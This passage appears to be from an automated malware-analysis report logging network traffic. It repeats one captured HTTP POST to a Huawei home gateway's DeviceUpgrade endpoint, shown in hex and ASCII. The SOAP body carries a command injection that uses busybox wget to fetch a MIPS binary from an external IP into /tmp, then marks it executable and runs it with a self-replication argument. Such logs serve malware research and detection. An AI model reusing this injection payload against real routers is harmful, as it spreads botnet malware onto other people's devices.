xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 